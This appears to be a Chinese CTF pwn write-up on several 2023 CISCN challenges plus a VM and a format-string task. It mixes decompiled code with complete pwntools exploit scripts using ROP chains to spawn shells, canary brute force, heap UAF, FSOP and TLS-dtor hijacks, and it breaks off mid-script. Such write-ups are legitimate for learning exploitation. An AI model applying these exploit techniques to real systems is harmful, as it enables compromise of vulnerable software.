void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
init();
puts("Hello, world!");
v3 = 0;
while ( 1 )
{
puts("Give me your choice: ");
__isoc99_scanf("%d", &v3);
switch ( v3 )
{
case 1:
add("%d");
break;
case 2:
edit("%d");
break;
case 3:
trans("%d");
break;
case 4:
vm("%d");
break;
case 5:
exit("%d");
return;
default:
printf("Error chooice");
break;
}
}
}

trans 关键代码如下,可知!i$#xy*分别翻译为1234567存储在 bss 段上:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
__int64 __fastcall sub_1269(__int64 a1)
{
unsigned int v2; // eax
unsigned __int16 i; // [rsp+10h] [rbp-8h]
unsigned __int16 v4; // [rsp+12h] [rbp-6h]
int v5; // [rsp+14h] [rbp-4h]

for ( i = 0; ; ++i )
{
v5 = *(i + a1);
if ( !*(i + a1) || i > 0xFFFu )
break;
if ( v5 == 'y' )
{
*(&unk_4080 + 2 * i) = 6;
continue;
}
if ( v5 > 121 )
goto LABEL_22;
if ( v5 == 'x' )
{
*(&unk_4080 + 2 * i) = 5;
continue;
}
if ( v5 > 64 )
{
if ( v5 == 'i' )
{
*(&unk_4080 + 2 * i) = 2;
continue;
}
LABEL_22:
--i;
continue;
}
if ( v5 < 33 )
goto LABEL_22;
switch ( *(i + a1) )
{
case '!':
*(&unk_4080 + 2 * i) = 1;
continue;
case '#':
*(&unk_4080 + 2 * i) = 4;
continue;
case '$':
*(&unk_4080 + 2 * i) = 3;
continue;
case '*':
*(&unk_4080 + 2 * i) = 7;
if ( dword_8480 == 512 )
return 1LL;
v2 = dword_8480++;
word_8080[v2] = i;
continue;
case '@':
if ( !dword_8480 )
return 1LL;
v4 = word_8080[--dword_8480];
*(&unk_4080 + 2 * i) = 8;
word_4082[2 * i] = v4;
word_4082[2 * v4] = i;
break;
default:
goto LABEL_22;
}
}
if ( dword_8480 || i == 4096 )
return 1LL;
*(&unk_4080 + 2 * i) = 0;
return 0LL;
}

vm 关键代码如下,解释的便是 bss 段上翻译后的值,可以发现v3可以减为负值,因此就可以使其指向返回地址,使之增加至返回地址处:

image-20230727193030123

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
_BOOL8 __fastcall sub_151D(__int64 a1)
{
unsigned __int16 v2; // [rsp+12h] [rbp-Eh]
int v3; // [rsp+14h] [rbp-Ch]

v3 = 0xFFFF;
v2 = 0;
while ( --v3 ) // 循环结束v3置零
*(2LL * v3 + a1) = 0;
while ( 2 )
{
if ( *(&unk_4080 + 2 * v2) && v3 <= 65534 )
{
switch ( *(&unk_4080 + 2 * v2) )
{
case 1: // !
++v3;
goto LABEL_17;
case 2: // i——可越界
--v3;
goto LABEL_17;
case 3: // $
++*(2LL * v3 + a1);
goto LABEL_17;
case 4: // #
--*(2LL * v3 + a1);
goto LABEL_17;
case 5: // x
putchar(*(2LL * v3 + a1));
goto LABEL_17;
case 6: // y——写入
*(2 * v3 + a1) = getchar();
goto LABEL_17;
case 7: // *
if ( !*(2LL * v3 + a1) )
v2 = word_4082[2 * v2];
goto LABEL_17;
case 8:
if ( *(2LL * v3 + a1) )
v2 = word_4082[2 * v2];
LABEL_17:
++v2;
continue;
default:
return 1LL;
}
}
return v3 == 0xFFFF;
}
}

wp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

context.terminal = ['tmux', 'sp', '-h']

def add(size):
io.sendlineafter("Give me your choice: \n", str(1))
io.sendlineafter("size: ", str(size))

def edit(contents):
io.sendlineafter("Give me your choice: \n", str(2))
io.sendafter("text: ", contents)

def trans():
io.sendlineafter("Give me your choice: \n", str(3))

def vm():
io.sendlineafter("Give me your choice: \n", str(4))

io = process("./bf")

add(100)
edit("iiii"+"$"*55)
trans()

#gdb.attach(io, 'b *$rebase(0x015c2)')
#gdb.attach(io, 'b *$rebase(0x0016F6)')
#pause()
vm()

io.interactive()

注:奇怪的一点是当i执行完去执行$的时候会吞掉一个$

6. fooooood

非栈上的格式化字符串,有三次格式化字符串机会。在栈上找到二层跳板,便能隔山打牛,但是三次格式化字符串还太少,因此得先增加格式化的次数。具体步骤如下:

  1. 修改栈上的i
  2. 修改返回地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *

context.terminal = ['tmux', 'sp', '-h']

io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc.so.6")

def dbg():
gdb.attach(io, "b *$rebase(0x0B05)")
pause()

io.sendlineafter("Give me your name:", '%p'*15)

payload = '%9$p,%11$p'
io.sendlineafter("your favourite food: ", payload)

io.recvuntil('0x')
lb = int(io.recv(12), 16) - 240 - libc.sym["__libc_start_main"]
log.success("lb ==> "+hex(lb))
io.recvuntil('0x')
stack = int(io.recv(12), 16)
log.success("stack ==> "+hex(stack))

offset = 11+0x1f-5
ret_addr = stack - 0x7ffce385cb48 + 0x7ffce385ca68
log.success("ret_addr ==> "+hex(ret_addr))
one_gadget = lb + 0x45226
log.success("one_gadget ==> "+hex(one_gadget))

i_addr = ret_addr - 20
off = i_addr & 0xffff
off1 = ret_addr & 0xffff
off2 = one_gadget & 0xffff
off3 = (one_gadget >> 16) & 0xff
log.success("i_addr ==> "+hex(i_addr))
log.success("off1 ==> "+hex(off1))
log.success("off2 ==> "+hex(off2))
log.success("off3 ==> "+hex(off3))

# 修改i值
payload = '%{}c'.format(off)
payload += '%11$hn'
io.sendlineafter("your favourite food: ", payload)
payload = '%6c'
payload += '%37$hhn'
io.sendlineafter("your favourite food: ", payload)

dbg()
payload = '%{}c'.format(off1)
payload += '%11$hn'
io.sendlineafter("your favourite food: ", payload)
payload = '%{}c'.format(off2)
payload += '%37$hn'
io.sendlineafter("your favourite food: ", payload)

payload = '%{}c'.format(off1+2)
payload += '%11$hn'
io.sendlineafter("your favourite food: ", payload)
payload = '%{}c'.format(off3)
payload += '%37$hhn'
io.sendlineafter("your favourite food: ", payload)

io.interactive()

2023Ciscn初赛

1. funcanary

题目比较好懂,阻塞主进程,不断分配子线程进入栈溢出:

image-20230911171256148

有个后门:

image-20230911172724228

由于子进程和主进程是共享 canary 的,因此可以通过子进程不断爆破得到 canary,然后爆破倒数第二位的返回地址为后门函数,,需要注意返回地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context.log_level='debug'
io = process("./service")

backdoor = 0x1229
# gdb.attach(io)

canary = b'\x00'
for i in range(7):
for j in range(256):
payload = b'a'*104 + canary + p8(j)
io.sendafter(b"\n", payload)
info = io.recvuntil(b"welcome")
if b'stack smashing detected' in info:
continue
else:
canary += p8(j)
break
log.success("canary===>"+hex(u64(canary)))

for i in range(256):
payload = b'a'*104 + canary + b'a'*8
payload += p8(0x2E) + p8(i)
io.sendafter(b"\n", payload)
info = io.recvuntil(b'welcome')
if b'flag' in info:
break

io.interactive()

2. 烧烤摊儿

好久没碰到静态链接的题目了。

菜单题,有一个漏洞后门,导致了栈溢出:

image-20230912151719396

要进入这个漏洞后门需要足够的 money,而用户初始只有 233。由于在买烧烤的时候使用的是 int 变量,所以可以通过输入负数,使得 money 增加:

image-20230912151950671

静态链接中残留了很多 gadget,足够我们打execve("/bin/sh", 0, 0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

io = process("./shaokao")

io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"\n", b"1")
io.sendlineafter(b"\n", b"-100000")

io.sendlineafter(b"> ", b"4")
gdb.attach(io, "b *0x401F8D")
pause()
io.sendlineafter(b"> ", b"5")

pop_rax_ret = 0x0000000000458827
pop_rdi_ret = 0x000000000040264f
pop_rsi_ret = 0x000000000040a67e
pop_rdx_rbx_ret = 0x00000000004a404b
syscall = 0x0000000000402404
name = 0x4E60F0


payload = b'/bin/sh\x00'*5
payload += p64(pop_rax_ret) + p64(0x3b)
payload += p64(pop_rdi_ret) + p64(name)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_rbx_ret) + p64(0) * 2
payload += p64(syscall)
io.sendlineafter(b"\n", payload)

io.interactive()

3. shellwego

一道 go 语言编写的题目,脱去了符号表,十分难分析。参考了好几位大佬的 wp,还是比较难懂(真的不会手撕汇编😭)。

image-20230912155552373

因此使用了一个开源 go 语言恢复符号表的项目:go_parseralt+f7打开go_parser.py即可恢复大部分符号表:

image-20230912160020250

虽说恢复了大部分符号表,但有的部分仍需要结合汇编语言进行分析。go 的主函数是 main_main,是可以反汇编的,但其实很多信息只有在汇编窗口才能看到:

image-20230912161044473

结合程序的实际运行情况,我们可以推测出一些函数的大致功能,从 main_main 的运行逻辑来看:

image-20230912161858088

接下来进入一个关键函数,同时我们随便输入一串垃圾字符串,程序报出Cert Is A Must错误,说明我们需要认证,我们进入关键函数看看:

image-20230912162823858 image-20230912171617567 image-20230912171949924

在目标函数中有个 RC4 加密:

image-20230912172355920

解密脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#  -*- UTF-8 -*- #
"""
@filename:rc4_exp.py
@author:Anza
@time:2023-09-12
"""

from Crypto.Cipher import ARC4
import base64

def rc4_encrypt(data, key1): # 加密
key = bytes(key1, encoding='utf-8')
enc = ARC4.new(key)
res = enc.encrypt(data.encode('utf-8'))
res=base64.b64encode(res)
res = str(res,'utf-8')
return res

def rc4_decrypt(data, key1): # 解密
data = base64.b64decode(data)
key = bytes(key1, encoding='utf-8')
enc = ARC4.new(key)
res = enc.decrypt(data)
res = str(res,'gbk')
return res


if __name__ == "__main__":
data = 'JLIX8pbSvYZu/WaG' # 需要解密的内容
key = 'F1nallB1rd3K3y' # 加密key
# encrypt_data = rc4_encrypt(data, key) # 加密方法
# print('加密后:', encrypt_data)
print('解密后:', rc4_decrypt(data, key)) # 解密方法

# S33UAga1n@#!

拿到密钥也就是第三个参数S33UAga1n@#!。接下来就可以使用一些命令:

image-20230912191344992

漏洞在 echo 命令中:

image-20230912195652305

调试出来的 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

io = process("./service")

p1 = b'cert'
p2 = b'nAcDsMicN'
p3 = b'S33UAga1n@#!'
payload = p1 + b" " + p2 + b" " + p3
io.sendlineafter(b"ciscnshell$ ", payload)

payload = b'echo '
payload += b'a'*0x1f0
payload += b' '
payload += b'+'*0x33

binsh = 0x588018
pop_rax_ret = 0x000000000040d9e6
pop_rdi_ret = 0x0000000000444fec
pop_rsi_ret = 0x000000000041e818
pop_rdx_ret = 0x000000000049e11d
syscall = 0x000000000040328c

chain = p64(pop_rax_ret) + p64(0) + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(binsh) + p64(pop_rdx_ret) + p64(8) + p64(syscall)
chain += p64(pop_rax_ret) + p64(0x3b) + p64(pop_rdi_ret) + p64(binsh) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(syscall)
payload += chain
# gdb.attach(io, "b *0x04C180B")
# pause()
# io.send(b"/bin/sh\x00")
io.sendlineafter(b"nightingale# ", payload)
# pause()
io.send(b"/bin/sh\x00")
io.interactive()

4. StrangeTalkBot

一道有关protobuf序列化的题目,仍然记得 2021 年华东南赛区有一道也是关于protobuf的题目,属实是回力镖打回来了。那么是怎么看出来与protobuf有关的呢?审计代码的时候发现如下字符串:

image-20230912200802229

因此还要学习.proto的编写方法和protoc的使用方法,主要参考了Protobuf Pwn学习利用这篇文章。

需要注意的是对于有 protobuf 标志的程序可以直接使用 pbtk 工具直接提取出 ctf.proto,命令如下:

1
2
#./extractors/from_binary.py [-h] input_file [output_dir]
./extractors/from_binary.py ./pwn ./

而对于没有 protobuf 标志的程序就需要自己手撕 ctf.proto,这道题就是没有标志的情况。

1
2
3
4
5
6
7
8
9
10
syntax = "proto2";

package ctf;

message Devicemsg{
required sint64 actionid = 1;
required sint64 msgidx = 2;
required sint64 msgsize = 3;
required bytes msgcontent = 4;
}

然后通过protoc命令生成可供使用的ctf_pb2文件:

1
protoc -I=./ --python_out=./ ctf.proto

题目实际上只是个 libc2.31 下的 UAF,开了沙箱禁了 execve,找 rdi 转 rdx 的 gadget 打 setcontext+61 即可,关于如何找到rdi2rdx的 gadget,可用如下命令:

1
2
3
4
5
6
7
8
anza@anza-virtual-machine:~/Desktop/pwn/ciscn2023_pri/strangetalkbot$ ROPgadget --binary libc-2.31.so --only "call" | grep rdx
0x0000000000152dcf : call qword ptr [rdx + 0x10]
0x000000000002409b : call qword ptr [rdx + 0x1d0]
0x0000000000151998 : call qword ptr [rdx + 0x20]
0x000000000012aa04 : call qword ptr [rdx + 0x28]
0x000000000015173d : call qword ptr [rdx - 0x11]
0x000000000002fdd3 : call qword ptr [rdx]
0x0000000000030ea3 : call rdx

有关 gadget 不算多,一个个在原 libc 中找符合的即可。

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *
# from ctf_pb2 import *
import ctf_pb2

io = process("./service")
libc = ELF("./libc-2.31.so")

def add(idx, size, content):
msg = ctf_pb2.Devicemsg()
msg.actionid = 1
msg.msgidx = idx
msg.msgsize = size
msg.msgcontent = content
payload = msg.SerializeToString()
io.sendafter(b"You can try to have friendly communication with me now: \n", payload)

def free(idx):
msg = ctf_pb2.Devicemsg()
msg.actionid = 4
msg.msgidx = idx
msg.msgsize = 0
msg.msgcontent = b''
payload = msg.SerializeToString()
io.sendafter(b"You can try to have friendly communication with me now: \n", payload)

def show(idx):
msg = ctf_pb2.Devicemsg()
msg.actionid = 3
msg.msgidx = idx
msg.msgsize = 0
msg.msgcontent = b''
payload = msg.SerializeToString()
io.sendafter(b"You can try to have friendly communication with me now: \n", payload)

def edit(idx, size, content):
msg = ctf_pb2.Devicemsg()
msg.actionid = 2
msg.msgidx = idx
msg.msgsize = size
msg.msgcontent = content
payload = msg.SerializeToString()
io.sendafter(b"You can try to have friendly communication with me now: \n", payload)


for i in range(7):
add(i, 0x80, str(i).encode()*0x80) #0-6
add(8, 0x80, b'8'*0x80) #7
add(9, 0x80, b'9'*0x80) #8

for i in range(7):
free(i)
free(8)

show(8)
offset = 0x7fd9ced4ebe0 - 0x7fd9ceb62000
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - offset
log.success("libc_base == >" + hex(libc_base))

show(0)
io.recv(8)
heap_base = u64(io.recv(8)) - 0x10
log.success("heap_base == >" + hex(heap_base))

free_hook = libc_base + libc.sym["__free_hook"]
setcontext = libc_base + libc.sym["setcontext"] + 61
magic = libc_base + 0x151990
ret = libc_base + 0x0000000000022679
edit(6, 8, p64(free_hook))

heap12 = heap_base + 0x13c0 + 0x10
heap13 = heap_base + 0x1600 + 0x20
magic_payload = b'z'*8 + p64(heap12) + p64(0)*2 + p64(setcontext)
add(10, 0x80, magic_payload) #9
add(11, 0x80, p64(magic)) #10

payload = b'./flag'
payload = payload.ljust(0x20, b'\x00') + p64(setcontext)
payload = payload.ljust(0xa0, b't') + p64(heap13) + p64(ret)
payload = payload.ljust(0xf0, b't')
add(12, 0xf0, payload) #11

pop_rdi_ret = libc_base + 0x0000000000023b6a
pop_rsi_ret = libc_base + 0x000000000002601f
pop_rdx_ret = libc_base + 0x0000000000142c92
open_addr = libc_base + libc.sym["open"]
read_addr = libc_base + libc.sym["read"]
write_addr = libc_base + libc.sym["write"]
flag_addr = heap12

orw = p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0) + p64(open_addr)
orw += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_ret) + p64(0x20) + p64(read_addr)
orw += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_ret) + p64(0x20) + p64(write_addr)
orw = orw.ljust(0xf0, b'o')
add(13, 0xf0, orw) #12

gdb.attach(io, "b *$rebase(0x1542)")
pause()

free(10)

io.interactive()

2023Ciscn华东南赛区

参考了天虞的 wp:ciscn国赛华东南分区赛PWN方向WriteUp分享

1. login

被出题人气晕。一道看似普通的栈迁移题目。

image-20230906000536967

坑1:泄露 libc 的时候要抬栈。

坑2:要返回到程序的 call puts 上,返回其他地址不知为何会报错。

坑3;栈溢出后第二次溢出了 18 个字节,但由于栈不够高,直接打 system(“/bin/sh\x00”)行不通。

于是乎,找了个贼奇怪的 gadget : mov edx, 0x148fff0,增加溢出长度,然后再构造条件打 one_gadget,调试调得心肌梗要出来了😵。

image-20230906000934067
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

io = process("./login")
elf = ELF("./login")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

pop_rdi_ret = 0x00000000004013d3
pop_rsi_r15_ret = 0x00000000004013d1
leave_ret = 0x40136E
ret = 0x000000000040101a

start = 0x4010F0
main = 0x4012CE
magic = 0x40134E
bss = 0x404060

payload1 = b'a'*240 + p64(bss) + p64(leave_ret)
io.sendafter(b"Enter your password:\n", payload1)

payload2 = p64(0x404800)
payload2 += p64(ret)*12 + p64(pop_rdi_ret) + p64(elf.got["alarm"]) + p64(magic)
gdb.attach(io, "b *0x40136E")
pause()
io.sendafter(b"Enter your password:\n", payload2)

libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym["alarm"]
log.success("libc_base===>"+hex(libc_base))

system = libc_base + libc.sym["system"]
binsh = 0x404060
one_gadget = libc_base + 0xebcf8

pop_rdx_r12_ret = libc_base + 0x000000000011f497

io.send(b'/bin/sh\x00' + p64(0x404080)*13 + b'b'*0x8 + p64(libc_base+0x011c929)+ p64(elf.sym["read"]))

io.send(b'/bin/sh\x00' + p64(0x404080)*13 + b'b'*0x8 + p64(ret)*10 + p64(pop_rdx_r12_ret) + p64(0)*2 + p64(pop_rsi_r15_ret) + p64(0)*2 + p64(one_gadget))

io.interactive()

2. notepad

这种板子题终于能独自做出来了😭,一道 libc 2.35 的 UAF 漏洞题,bss 上维护了堆指针和堆 size,释放的时候只置零了堆 size,导致了 UAF 漏洞。

image-20230906163750321

申请堆的次数有 15 次,先通过 unsorted bin 泄露 libc,再通过 UAF 造成双指针指向同一个堆,一个用来 free 一个用来 edit。申请到 _IO_list_all,打 FILE 板子就好了,最后通过 exit(0) 触发链子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *

io = process("./notepad")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add(size, date, content):
io.sendlineafter(b">> ", str(1).encode())
io.sendlineafter(b"size: ", str(size).encode())
io.sendlineafter(b"date: ", date)
io.sendlineafter(b'content: ', content)

def show(idx):
io.sendlineafter(b">> ", str(2).encode())
io.sendlineafter(b"page: ", str(idx).encode())

def free(idx):
io.sendlineafter(b">> ", str(3).encode())
io.sendlineafter(b"page: ", str(idx).encode())

def edit(idx, date, content):
io.sendlineafter(b">> ", str(4).encode())
io.sendlineafter(b"page: ", str(idx).encode())
io.sendlineafter(b"date: ", date)
io.sendlineafter(b'content: ', content)


for i in range(8):
add(0x80, b'anza', b'bbbb') #0-7
add(0x80, b'protect', b'aaaaa') #8

for i in range(8):
free(i)

show(7)
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - (0x7fd810019ce0 - 0x7fd80fe00000)
log.success("libc_base===>"+hex(libc_base))

show(0)
io.recvuntil(b"date: ")
key = u64(io.recv(5).ljust(8, b'\x00'))
heap_base = key << 12
log.success("heap_base===>"+hex(heap_base))

_IO_list_all = libc_base + libc.sym["_IO_list_all"]
add(0x80, b'anza', b'cccc') #9(6)
free(6)
edit(9, p64(_IO_list_all^key), p64(0))

add(0x80, b'anza', b'dddd') #10
add(0x80, p64(heap_base+0x850), b'') #11


_IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]

fake_IO_list_all_addr = heap_base + 0x850
fake_IO_list_all = b'\x00'
fake_IO_list_all = fake_IO_list_all.ljust(0x28, b'\x00') + p64(1)
fake_IO_list_all = fake_IO_list_all.ljust(0xa0, b'\x00') + p64(heap_base+0x970)
fake_IO_list_all = fake_IO_list_all.ljust(0xd8, b'\x00') + p64(_IO_wfile_jumps)
# fake_IO_list_all = fake_IO_list_all.ljust(0xe0+0xe0, b'\x00') + p64(heap_base)

fake_wide_data = b'\x00'
fake_wide_data = fake_wide_data.ljust(0xe0, b'\x00') + p64(heap_base+0xa90)

one_gadget = libc_base + 0xebcf1
fake_wide_vtable = b'\x00'
fake_wide_vtable = fake_wide_vtable.ljust(0x68, b'\x00') + p64(one_gadget)

add(0x100, b'anza', fake_IO_list_all) #12
add(0x100, b'anza', fake_wide_data) #13
add(0x100, b'anza', fake_wide_vtable) #14

gdb.attach(io)
io.sendlineafter(b">> ", str(5).encode())

io.interactive()

3. dbgnote

有些代码看不太懂。查了一下好像是强网杯的原题广州强网杯pwn_mini WP

程序运行需要第二个参数,为dbg或者run。程序初试的时候申请了两个 signal 信号:

image-20230907211021001

比较重要的是 abort 触发的 handler,会以 dbg 参数重启程序:

image-20230907211418364

我们看一下 dbg 和 run 运行的程序有什么区别,dbg 中有个任意读和任意写,run 其实就是菜单,但是并没有找到与堆有关的漏洞:

image-20230907211834902 image-20230907212017529

在 run 程序中存在一个全局变量溢出 2 个字节:

image-20230907213531095

在 run 程序中堆操作读入 idx 的地方发现了一个栈溢出,注意通过这个栈溢出是可以造成 abort 的,也就可以触发 handler:

image-20230907212442697

同时在 Super_Note 操作中有一个 gift,可以泄露栈上对应地址的最后两位:

image-20230907214512813

最后还有一个知识点,有关 libc 基址的泄露:

1
LD_DEBUG=all 这个环境变量,预示着程序执行时打印loader的信息,通过里面的信息可以获取libc地址。

本题的思路是将 LD_DEBUG=all 布置在栈上,然后通过 gift 获取到栈上的最后两字节,再计算偏移得到 LD_DEBUG=all 的地址,再通过全局变量的两个溢出修改 envp 指向 LD_DEBUG=all 的地址,通过地址任意读泄露 ld 基址,用地址任意写去劫持 fsbase 相关结构体,在 exit 调用 __call_tls_dtors 触发链子。

这里有三个需要注意的地方:

  1. fsbase 结构体在哪个位置?我和舒哥都是在 ubuntu22.04 上运行的程序,但映射分布有些许差异,我的分布在 ld 基址附近,而舒哥的分布在 libc 基址附近。如果分布在 libc 附近,就不需要任意读来泄露什么了,直接打 fsbase 就行了,但如果分布在 ld 附近,就有必要泄露 ld 基址了,这边可以通过 _dl_argv_ptr 这个变量来泄露:

    image-20230910130020654 image-20230910125743268
  2. fsbase 的板子该怎么打?

    1
    2
    3
    4
    5
    6
    7
    8
    fsbase = ld_base - 0x168C0
    target = fsbase - 0x30 - 0x28
    payload = p64(target+0x70)
    payload += 12*p64(0)
    payload += p64(fsbase) + p64(0)
    payload += p64(target+0x80)
    payload += b'/bin/sh\x00'
    payload += p64(libc_base + libc.sym['system'])

    效果(只显示了部分)如下:

    image-20230910131656766
  3. 链子是如何触发的?我们看一下 __call_tls_dtors 的汇编:

    image-20230910132905633

    因此在 call rax 的时候即完成了 system(“/bin/sh\x00”)的操作

EXP 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

io = process(["./dbgnote", "run"])
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

name = b"LD_DEBUG=all"
io.sendlineafter(b"UserName: ", name)

gift = b"++--++--"
# gdb.attach(io, "b *$rebase(0x1524)")
# pause()
io.sendlineafter(b"$ ", gift)
io.recvuntil(b"Super note: ")
stack_low = int(io.recvline(), 10)
target = stack_low + 0x1c
log.success("stack_low==>"+hex(stack_low))
log.success("target=====>"+hex(target))

hijack = b"a"*0x30 + p16(target)
io.sendafter(b"$ ", hijack)

io.sendlineafter(b"$ ", b"Note_Add")
io.sendafter(b"Size: ", b'a'*25)

io.recvuntil(b"file=libc.so.6 [0]; generating link map")
io.recvuntil(b"base: 0x0000")
libc_base = int(io.recv(12), 16)
log.success("libc_base===>"+hex(libc_base))
io.recvuntil(b"Please don't patch this normal function, we will check it!")
# gdb.attach(io)

_dl_argv_ptr = libc_base + 0x218E08
io.sendafter(b"[Addr] ", p64(_dl_argv_ptr))
log.success("ld_ptr=====>"+hex(_dl_argv_ptr))
offset = 0x7fd730bedac0 - 0x7fd730bb4000
ld_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - offset
log.success("ld_base====>"+hex(ld_base))
#
fsbase = ld_base - 0x168C0
target = fsbase - 0x30 - 0x28
payload = p64(target+0x70)
payload += 12*p64(0)
payload += p64(fsbase) + p64(0)
# paylaod += p64(libc_base-0x28c0) + p64(0)
payload += p64(target+0x80)
payload += b'/bin/sh\x00'
payload += p64(libc_base + libc.sym['system'])
# payload += p64(libc_base + 0x0000000000036c06)
#
gdb.attach(io, "b *$rebase(0x01C32)")
pause()
io.sendafter(b"[Addr] ", p64(target))
io.sendafter(b"[Write] ", payload)
# gdb.attach(io)

io.interactive()

4. houmt

看下来感觉就是限制太多、好麻烦,菜鸟崩溃😭,于是跟着出题人的 wp 来调:CISCN-2023 华东南分区赛 houmt 出题小记

题目的漏洞是 UAF,限制是 add 固定 0x100 大小, 2 次 show,1 次 edit,还只能 edit 8字节,无法申请到 libc 上的地址,在 show 的时候还有加密,但加密部分我们先不关心:

image-20230910214957369

漏洞思路是:

  1. 申请堆块,释放,获得 heap_base。

  2. 释放满 7 个堆块,再释放一个溢出至 unsorted bin,泄露出 libc_base。

  3. 通过 UAF 配合 Edit,劫持 tcache_perthread_struct 中 0x110 对应的指针附近。

  4. 不断释放、申请该结构体中的 0x110 对应的指针为任意地址,即可进行多次任意地址写。

  5. 由于本题没有正常的退出,可以通过修改top chunk大小触发__malloc_assert,这一块作者给出了很详细的解释:

    image-20230910223450740
  6. 然后就是绕过沙箱,一般就是利用setcontext+61以及magic完成对目标堆块地址的转换,沙箱规则如下:

    image-20230910223646356

    一般绕过 read 的 fd==0 限制方法是利用 close(0),但可以利用 mmap 将 fd=3 映射到某段内存中,再利用 writev 代替 write 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
from pwn import *
context(os = "linux", arch = "amd64")

io = process("./houmt")
libc = ELF("./libc.so.6")
ld = ELF("./ld.so")

def add(content):
io.sendlineafter(b"Please input your choice > ", b"1")
io.sendafter(b"Please input the content : ", content)

def edit(idx, content):
io.sendlineafter(b"Please input your choice > ", b"2")
io.sendlineafter(b"Please input the index : ", str(idx).encode())
io.sendafter(b"Please input the content : ", content)

def free(idx):
io.sendlineafter(b"Please input your choice > ", b"3")
io.sendlineafter(b"Please input the index : ", str(idx).encode())

def show(idx):
io.sendlineafter(b"Please input your choice > ", b"4")
io.sendlineafter(b"Please input the index : ", str(idx).encode())

for i in range(8):
add(b"a") #0-7
free(0)
show(0)

leak = []
for i in range(5):
leak.append(u8(io.recv(1)))
for i in range(3, -1, -1):
leak[i] = leak[i] ^ leak[i+1]
t = b''
for i in range(5):
t = t + p8(leak[i])
key = u64(t.ljust(8, b'\x00'))
heap_base = key << 12
log.success("heap_base====>"+hex(heap_base))

for i in range(1, 6):
free(i)
free(7)
free(6)
show(6)
leak.clear()
for i in range(6):
leak.append(u8(io.recv(1)))
for i in range(4, -1, -1):
leak[i] = leak[i] ^ leak[i+1]
t = b''
for i in range(6):
t = t + p8(leak[i])
libc_base = u64(t.ljust(8, b'\x00')) - libc.sym['__malloc_hook'] - 0x70
ld_base = libc_base + 0x1ee000
log.success("libc_base===>"+hex(libc_base))

edit(7, p64(key^(heap_base+0xf0)))
add(b"\n") #8
add(p64(0)+p64(0x111)+p64(0)+p64(heap_base+0x100)) #9

magic = libc_base + 0x14A0A0
